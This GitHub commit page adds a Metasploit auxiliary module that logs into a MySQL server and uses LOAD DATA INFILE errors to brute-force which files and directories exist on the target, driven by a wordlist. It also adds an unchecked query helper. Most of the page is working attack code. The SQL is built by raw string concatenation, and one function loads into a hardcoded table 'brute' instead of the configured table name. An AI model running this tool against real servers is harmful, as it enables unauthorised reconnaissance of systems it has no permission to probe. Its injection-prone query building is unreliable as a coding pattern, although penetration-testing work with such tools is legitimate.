Skip to content

Commit 23d1eb7

Browse files
committed
File/dir brute forcer using MySQL
1 parent 967c04e commit 23d1eb7

File tree

2 files changed

+102
-0
lines changed

2 files changed

+102
-0
lines changed

lib/msf/core/exploit/mysql.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,13 @@ def mysql_login_datastore
8787
return res
8888
end
8989

90+
# This function does not handle any errors, if you use this
91+
# make sure you handle the errors yourself
92+
def mysql_query_no_handle(sql)
93+
res = @mysql_handle.query(sql)
94+
res
95+
end
96+
9097
def mysql_query(sql)
9198
begin
9299
res = @mysql_handle.query(sql)
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'yaml'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::MYSQL
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize
18+
super(
19+
'Name' => 'MYSQL File/Directory Enumerator',
20+
'Description' => %Q{
21+
Enumerate files and directories using the MySQL load_file feature, for more information see the URL in the references.
22+
},
23+
'Version' => '$Revision $',
24+
'Author' => [ 'Robin Wood <robin[at]digininja.org>' ],
25+
'References' => [
26+
[ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ],
27+
[ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ]
28+
],
29+
'License' => MSF_LICENSE
30+
)
31+
32+
register_options([
33+
OptString.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]),
34+
OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'test' ]),
35+
OptString.new('TABLE_NAME', [ true, "Name of table to use", Rex::Text.rand_text_alpha(8) ]),
36+
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
37+
])
38+
39+
end
40+
41+
def run_host(ip)
42+
print_status("Checking " + ip)
43+
# Should check this before running at all, this is run on a
44+
# per-host level
45+
if not ::File.exists?(datastore['FILE_LIST'])
46+
print_error "File list does not exist!"
47+
return
48+
end
49+
50+
if (not mysql_login_datastore)
51+
return
52+
end
53+
54+
mysql_query("USE " + datastore['DATABASE_NAME'])
55+
res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';")
56+
table_exists = (res.size == 1)
57+
58+
if !table_exists
59+
print_status("Table doesn't exist so creating it")
60+
mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);")
61+
end
62+
63+
file = File.new(datastore['FILE_LIST'], "r")
64+
file.each_line do |line|
65+
check_dir(line.chomp)
66+
end
67+
68+
if !table_exists
69+
print_status("Cleaning up the temp table")
70+
mysql_query("DROP TABLE " + datastore['TABLE_NAME'])
71+
end
72+
end
73+
74+
def check_dir dir
75+
begin
76+
res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE brute")
77+
rescue ::RbMysql::TextfileNotReadable
78+
print_good(dir + " is a directory and exists")
79+
rescue ::RbMysql::ServerError
80+
print_warning(dir + " does not exist")
81+
rescue ::RbMysql::Error => e
82+
print_error("MySQL Error: #{e.class} #{e.to_s}")
83+
return
84+
rescue Rex::ConnectionTimeout => e
85+
print_error("Timeout: #{e.message}")
86+
return
87+
else
88+
print_good(dir + " is a file and exists")
89+
end
90+
#puts res.inspect
91+
92+
return
93+
end
94+
95+
end

0 commit comments

Comments
 (0)